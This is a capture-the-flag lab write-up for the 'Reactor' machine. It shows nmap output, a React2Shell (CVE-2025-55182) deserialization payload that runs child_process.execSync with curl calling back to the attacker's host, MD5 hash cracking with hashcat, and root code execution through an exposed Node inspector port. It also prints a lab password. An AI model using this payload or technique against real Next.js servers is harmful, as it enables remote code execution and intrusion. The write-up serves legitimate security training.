3 October 2026

Reactor

by 0xW1LD

Enumeration

Scans

As usual we start off with an nmap port scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIoh32XcLYi0Kdad12SajqVyUVXfkDPaB7zZCDCMIJc+fv8JUJwyQRoqX/91+p6uD75Ggdp4VNzA7WasIkyo/4U=
|   256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPws9RyzoCW2cXzOFxeZCCt8rWcNu2umX2kqLLK6T+7H
3000/tcp open  ppp?    syn-ack ttl 63
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000, 
|     ETag: "p02u6gnhufd8t"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 17175
|     Date: Mon, 25 May 2026 05:30:21 GMT
|     Connection: close
|     <html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Mon, 25 May 2026 05:30:23 GMT
|     Connection: close
|   Help, NCP, RPCCheck: 
|     HTTP/1.1 400 Bad Request
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.98%I=7%D=5/25%Time=6A13DE6F%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1FA4,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-S
SF:tate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x2
SF:0Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\
SF:r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nC
SF:ache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2017
SF:175\r\nDate:\x20Mon,\x2025\x20May\x202026\x2005:30:21\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\
SF:"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/
SF:><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20
SF:href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20
SF:src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\
SF:"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.
SF:js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptio
SF:ns,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rou
SF:ter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetc
SF:h\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20n
SF:o-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Mon,
SF:\x2025\x20May\x202026\x2005:30:23\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20R
SF:SC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-
SF:Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x
SF:20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r
SF:\nDate:\x20Mon,\x2025\x20May\x202026\x2005:30:23\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

User

React2Shell

Having a look around the website running on port 3000 we can find the following snippet in one of the chunks revealing the version of NextJS being used.

1
2
3
4
5
window.next = {
                version: "15.0.3",
                appDir: !0
            }

Looking around for vulnerabilities in NextJs 15.0.3 I stumble upon CVE-2025-66478 which references this vulnerability in ReactJS: CVE-2025-55182

The original researcher has published the following PoC, let’s run the PoC modifying the prefix to execute a command and the url at the bottom of the js PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const payload = {
    '0': '$1',
    '1': {
        'status':'resolved_model',
        'reason':0,
        '_response':'$4',
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then':'$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix':'process.mainModule.require(\'child_process\').execSync(\'curl 10.10.14.3:9001\')//',
        '_formData':{
            'get':'$3:constructor:constructor'
        },
        '_chunks':'$2:_response:_chunks',
    }
}


<SNIP>

exploitNext('http://reactor.htb:3000')

We can run this with node (requires the form-data as a dependency)

1
2
node exploit.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="0"

"$1"
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="1"

{"status":"resolved_model","reason":0,"_response":"$4","value":"{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}","then":"$2:then"}
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="2"

"$@3"
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="3"

[]
----------------------------227891fe9fd3f6c21acb478b
Content-Disposition: form-data; name="4"

{"_prefix":"process.mainModule.require('child_process').execSync('curl 10.10.14.3:9001')//","_formData":{"get":"$3:constructor:constructor"},"_chunks":"$2:_response:_chunks"}
----------------------------227891fe9fd3f6c21acb478b--

{
  'content-type': 'multipart/form-data; boundary=--------------------------227891fe9fd3f6c21acb478b'
}

This proceeds to hang but I get a response on my listener.

1
2
nc -lvnp 9001

1
2
3
4
5
6
7
8
9
10
listening on [any] 9001 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.245.214] 34264
GET / HTTP/1.1
Host: 10.10.14.3:9001
User-Agent: curl/8.5.0
Accept: */*




Let’s use the RCE to get a reverse shell

1
2
node@reactor:/opt/reactor-app$

Hash Cracking

Looking around we can find a reactor.db database file.

1
2
node@reactor:/opt/reactor-app$ ls -lash

1
2
3
4
5
6
7
8
9
10
11
12
total 76K
4.0K drwxr-xr-x  5 node node 4.0K May 25 06:59 .
4.0K drwxr-xr-x  4 root root 4.0K Apr 27 11:26 ..
4.0K drwxr-xr-x  2 node node 4.0K Dec 28 20:47 app
4.0K -rw-r--r--  1 node node  276 Dec 28 21:05 .env
4.0K drwxr-xr-x  7 node node 4.0K Dec 28 20:47 .next
4.0K -rw-r--r--  1 node node  172 Dec 28 20:47 next.config.js
4.0K drwxr-xr-x 30 node node 4.0K Dec 28 20:47 node_modules
4.0K -rw-r--r--  1 node node  269 Dec 28 20:47 package.json
 32K -rw-r--r--  1 node node  29K Dec 28 20:47 package-lock.json
 12K -rw-r-----  1 node node  12K Dec 28 21:03 reactor.db

Transferring this to our attacker machine and taking a look inside it with SQLite3

1
2
sqlite3 reactor.db

1
2
3
4
5
6
7
8
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
sensor_logs  users      
sqlite> select * from users;
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110e[REDACTED]|operator|engineer@reactor.htb

Let’s start hashcat against them assuming they’re md5 hashes.

1
2
hashcat -m 0 reactor.pem rockyou.txt -w 3 -O

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
hashcat (v7.1.2) starting

nvmlDeviceGetFanSpeed(): Not Supported

CUDA API (CUDA 13.1)
====================
* Device #01: NVIDIA GeForce RTX 3060 Laptop GPU, 5118/6143 MB, 30MCU

OpenCL API (OpenCL 3.0 CUDA 13.1.117) - Platform #1 [NVIDIA Corporation]
========================================================================
* Device #02: NVIDIA GeForce RTX 3060 Laptop GPU, skipped

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31

Hashes: 2 digests; 2 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Precompute-Init
* Meet-In-The-Middle
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 561 MB (854 MB free)

Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

39d97110[REDACTED]:[REDACTED]
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: .\reactor.pem
Time.Started.....: Mon May 25 17:03:39 2026 (1 sec)
Time.Estimated...: Mon May 25 17:03:40 2026 (0 secs)
Kernel.Feature...: Optimized Kernel (password length 0-31 bytes)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 15249.7 kH/s (0.05ms) @ Accel:6 Loops:1 Thr:608 Vec:1
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 3094/14344384 (0.02%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !em&1L -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 48c Util: 27% Core:1425MHz Mem:7001MHz Bus:8

Started: Mon May 25 17:03:33 2026
Stopped: Mon May 25 17:03:41 2026

We get a hit for engineer’s password. Let’s ssh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
~/htb/labs/reactor $ ssh engineer@reactor.htb
The authenticity of host 'reactor.htb (10.129.245.214)' cant be established.
ED25519 key fingerprint is: SHA256:9v9mCPC4gn2EN/IbKKwhV8KZoNVTsVPorFhlTkNByPM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'reactor.htb' (ED25519) to the list of known hosts.
engineer@reactor.htbs password: [REDACTED]
 ____  _____    _    ____ _____ ___  ____  
|  _ \| ____|  / \  / ___|_   _/ _ \|  _ \ 
| |_) |  _|   / _ \| |     | || | | | |_) |
|  _ <| |___ / ___ \ |___  | || |_| |  _ < 
|_| \_\_____/_/   \_\____| |_| \___/|_| \_\

    ReactorWatch Core Monitoring System
    Nuclear Dynamics Corp. - Site 7
    
    AUTHORIZED PERSONNEL ONLY
Last login: Mon May 25 07:05:19 2026 from 10.10.14.3

There we can find the user flag.

1
2
3
engineer@reactor:~$ ls -lash user.txt
4.0K -rw-r----- 1 root engineer 33 May 25 05:14 user.txt

Root

Chrome DevTools Protocol

Checking for running processes we can find an interesting node js process that runs an uptime-monitor with the --inspect flag.

1
2
ps -ef

1
2
3
4
<SNIP>
root        1417       1  0 05:13 ?        00:00:01 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
<SNIP>

From the node manual:

1
2
3
4
5
--inspect=[host:]port
               Activate inspector on host:port.  Default is 127.0.0.1:9229.

               V8 Inspector integration allows attaching Chrome DevTools and IDEs to Node.js instances for debugging and profiling.  It uses the Chrome DevTools Protocol.

Let’s port-forward port 9229 to our localhost, and open a chromium browser connecting to chrome://inspect where we should be able to inspect the uptime-monitor.js file

1
2
3
4
5
localhost:9229 (v20.20.2)
trace
/opt/uptime-monitor/worker.js
file:///opt/uptime-monitor/worker.js

We get a pid which matches our ps -ef output.

1
2
uptime-monitor up, pid=1417

We can use the same javascript command we used earlier to get code execution as root

1
2
3
require('child_process').execSync('id').toString()
'uid=0(root) gid=0(root) groups=0(root)\n'

Let’s grab another reverse shell

1
2
3
root@reactor:/# ls -lash /root/root.txt
4.0K -rw-r----- 1 root root 33 May 25 05:14 /root/root.txt

There we can find the root flag.

Credentials

1
2
engineer:reactor1

tags: diff/easy - os/linux